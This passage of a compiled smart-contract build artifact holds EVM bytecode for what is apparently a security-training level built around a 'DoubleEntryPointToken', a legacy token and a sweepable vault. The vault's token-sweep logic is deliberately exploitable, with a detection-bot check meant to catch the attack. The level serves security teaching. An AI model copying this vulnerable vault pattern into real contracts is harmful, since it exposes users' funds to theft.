1562000bd35762000bd362000b18565b8160405282815288602084870101111562000bec575f80fd5b62000bff83602083016020880162000a84565b80955050505050509250929050565b5f6020828403121562000c1f575f80fd5b62000a418262000b03565b5f6020828403121562000c3b575f80fd5b505191905056fe608060405234801562000010575f80fd5b506040518060400160405280600b81526020016a2632b3b0b1bcaa37b5b2b760a91b815250604051806040016040528060038152602001621311d560ea1b815250816003908162000062919062000187565b50600462000071828262000187565b5050506200008e620000886200009460201b60201c565b62000098565b62000253565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011257607f821691505b6020821081036200013157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018257805f5260205f20601f840160051c810160208510156200015e5750805b601f840160051c820191505b818110156200017f575f81556001016200016a565b50505b505050565b81516001600160401b03811115620001a357620001a3620000e9565b620001bb81620001b48454620000fd565b8462000137565b602080601f831160018114620001f1575f8415620001d95750858301515b5f19600386901b1c1916600185901b1785556200024b565b5f85815260208120601f198616915b82811015620002215788860151825594840194600190910190840162000200565b50858210156200023f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d8180620002615f395ff3fe608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b61061481610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033608060405234801561000f575f80fd5b506103b78061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6103678061008c5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033608060405234801562000010575f80fd5b50604051620013e6380380620013e6833981016040819052620000339162000284565b6040518060400160405280601581526020017f446f75626c65456e747279506f696e74546f6b656e00000000000000000000008152506040518060400160405280600381526020016211115560ea1b81525081600390816200009691906200037b565b506004620000a582826200037b565b505050620000c2620000bc6200012960201b60201c565b6200012d565b600880546001600160a01b038087166001600160a01b03199283161790925560098054858416908316179055600780548484169083161790556006805492861692909116821790556200011f9068056bc75e2d631000006200017e565b505050506200046d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001d95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001ec919062000447565b90915550506001600160a01b0382165f90815260208190526040812080548392906200021a90849062000447565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b80516001600160a01b03811681146200027f575f80fd5b919050565b5f805f806080858703121562000298575f80fd5b620002a38562000268565b9350620002b36020860162000268565b9250620002c36040860162000268565b9150620002d36060860162000268565b905092959194509250565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030757607f821691505b6020821081036200032657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026357805f5260205f20601f840160051c81016020851015620003535750805b601f840160051c820191505b8181101562000374575f81556001016200035f565b5050505050565b81516001600160401b03811115620003975762000397620002de565b620003af81620003a88454620002f2565b846200032c565b602080601f831160018114620003e5575f8415620003cd5750858301515b5f19600386901b1c1916600185901b1785556200043f565b5f85815260208120601f198616915b828110156200041557888601518255948401946001909101908401620003f4565b50858210156200043357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200046757634e487b7160e01b5f52601160045260245ffd5b92915050565b610f6b806200047b5f395ff3fe608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610ea6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e91815260200190565b60405180910390a3610a30565b6005546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161048c565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f602080835283518060208501525f5b81811015610d3a57858101830151858201604001528201610d1e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461084c575f80fd5b5f8060408385031215610d7f575f80fd5b8235610d8a81610d5a565b946020939093013593505050565b5f805f60608486031215610daa575f80fd5b8335610db581610d5a565b92506020840135610dc581610d5a565b929592945050506040919091013590565b5f60208284031215610de6575f80fd5b8135610df181610d5a565b9392505050565b5f805f60608486031215610e0a575f80fd5b8335610e1581610d5a565b9250602084013591506040840135610e2c81610d5a565b809150509250925092565b5f8060408385031215610e48575f80fd5b8235610e5381610d5a565b91506020830135610e6381610d5a565b809150509250929050565b600181811c90821680610e8257607f821691505b602082108103610ea057634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156103ab57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610ed5575f80fd5b8151610df181610d5a565b5f60208284031215610ef0575f80fd5b5051919050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea26469706673582212202f75fc0f92bf3432056d019fa2a6372c4f9af5d411bdc0f55ec08ce180024a0b64736f6c63430008180033a26469706673582212205de16f4bda6c4ef2e9c5bf83ba968da9d5f6d2d3ffd4ecab539b69ffbe1e0d2664736f6c63430008180033","sourceMap":"119:1953:72:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;119:1953:72;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;119:1953:72:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106200006b575f3560e01c8063d38def5b1162000046578063d38def5b14620000da578063f2fde38b146200010f578063fae99eae1462000133575f80fd5b8063715018a6146200006f5780637726f77614620000885780638da5cb5b14620000bc575b5f80fd5b3480156200007b575f80fd5b506200008662000167565b005b6200009f6200009936600462000a23565b6200017e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000c8575f80fd5b505f546001600160a01b03166200009f565b348015620000e6575f80fd5b50620000fe620000f836600462000a48565b620003da565b6040519015158152602001620000b3565b3480156200011b575f80fd5b50620000866200012d36600462000a23565b62000663565b3480156200013f575f80fd5b50620001576200015136600462000a48565b620006f9565b604051620000b392919062000aa8565b6200017162000914565b6200017c5f6200096f565b565b5f806040516200018e90620009d6565b604051809103905ff080158015620001a8573d5f803e3d5ffd5b5090505f604051620001ba90620009e4565b604051809103905ff080158015620001d4573d5f803e3d5ffd5b5090505f84604051620001e790620009f2565b6001600160a01b039091168152602001604051809103905ff08015801562000211573d5f803e3d5ffd5b5090505f83828488604051620002279062000a00565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103905ff08015801562000269573d5f803e3d5ffd5b506040517fbdb2321f0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063bdb2321f906024015f604051808303815f87803b158015620002c8575f80fd5b505af1158015620002db573d5f803e3d5ffd5b50506040517f1d2d84000000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015287169250631d2d840091506024015f604051808303815f87803b15801562000339575f80fd5b505af11580156200034c573d5f803e3d5ffd5b50506040517f40c10f190000000000000000000000000000000000000000000000000000000081526001600160a01b03858116600483015268056bc75e2d631000006024830152871692506340c10f1991506044015f604051808303815f87803b158015620003b9575f80fd5b505af1158015620003cc573d5f803e3d5ffd5b509298975050505050505050565b5f808390505f816001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200041d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000443919062000ae5565b6040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301529192505f91831690639e1083ca90602401602060405180830381865afa158015620004a6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004cc919062000ae5565b90506001600160a01b038116620004e9575f93505050506200065d565b5f836001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000527573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200054d919062000ae5565b6040517ffae99eae0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301528616602482015290915081905f908190309063fae99eae906044015f604051808303815f875af1158015620005ba573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620005e3919081019062000b45565b9150915081156200063b5760405162461bcd60e51b815260206004820152600e60248201527f537765657020737563636564656400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f8180602001905181019062000652919062000c0e565b985050505050505050505b92915050565b6200066d62000914565b6001600160a01b038116620006eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840162000632565b620006f6816200096f565b50565b5f6060836001600160a01b0316631be19560846001600160a01b03166326fe99516040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000748573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200076e919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b0390911660048201526024015f604051808303815f87803b158015620007c5575f80fd5b505af1925050508015620007d7575060015b620008f9575f80846001600160a01b03166370a08231866001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000850919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015620008ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620008d1919062000c2a565b60408051929091116020830152015b604051602081830303815290604052915091506200090d565b604080515f602082015260019101620008e0565b9250929050565b5f546001600160a01b031633146200017c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000632565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe28062000c4383390190565b6103d48062001c2583390190565b6103f38062001ff983390190565b6113e680620023ec83390190565b6001600160a01b0381168114620006f6575f80fd5b5f6020828403121562000a34575f80fd5b813562000a418162000a0e565b9392505050565b5f806040838503121562000a5a575f80fd5b823562000a678162000a0e565b9150602083013562000a798162000a0e565b809150509250929050565b5f5b8381101562000aa057818101518382015260200162000a86565b50505f910152565b8215158152604060208201525f825180604084015262000ad081606085016020870162000a84565b601f01601f1916919091016060019392505050565b5f6020828403121562000af6575f80fd5b815162000a418162000a0e565b8051801515811462000b13575f80fd5b919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f806040838503121562000b57575f80fd5b62000b628362000b03565b9150602083015167ffffffffffffffff8082111562000b7f575f80fd5b818501915085601f83011262000b93575f80fd5b81518181111562000ba85762000ba862000b18565b604051601f8201601f19908116603f0116810190838211818310171562000bd35762000bd362000b18565b8160405282815288602084870101111562000bec575f80fd5b62000bff83602083016020880162000a84565b80955050505050509250929050565b5f6020828403121562000c1f575f80fd5b62000a418262000b03565b5f6020828403121562000c3b575f80fd5b505191905056fe608060405234801562000010575f80fd5b506040518060400160405280600b81526020016a2632b3b0b1bcaa37b5b2b760a91b815250604051806040016040528060038152602001621311d560ea1b815250816003908162000062919062000187565b50600462000071828262000187565b5050506200008e620000886200009460201b60201c565b62000098565b62000253565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011257607f821691505b6020821081036200013157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018257805f5260205f20601f840160051c810160208510156200015e5750805b601f840160051c820191505b818110156200017f575f81556001016200016a565b50505b505050565b81516001600160401b03811115620001a357620001a3620000e9565b620001bb81620001b48454620000fd565b8462000137565b602080601f831160018114620001f1575f8415620001d95750858301515b5f19600386901b1c1916600185901b1785556200024b565b5f85815260208120601f198616915b82811015620002215788860151825594840194600190910190840162000200565b50858210156200023f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d8180620002615f395ff3fe608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b6106148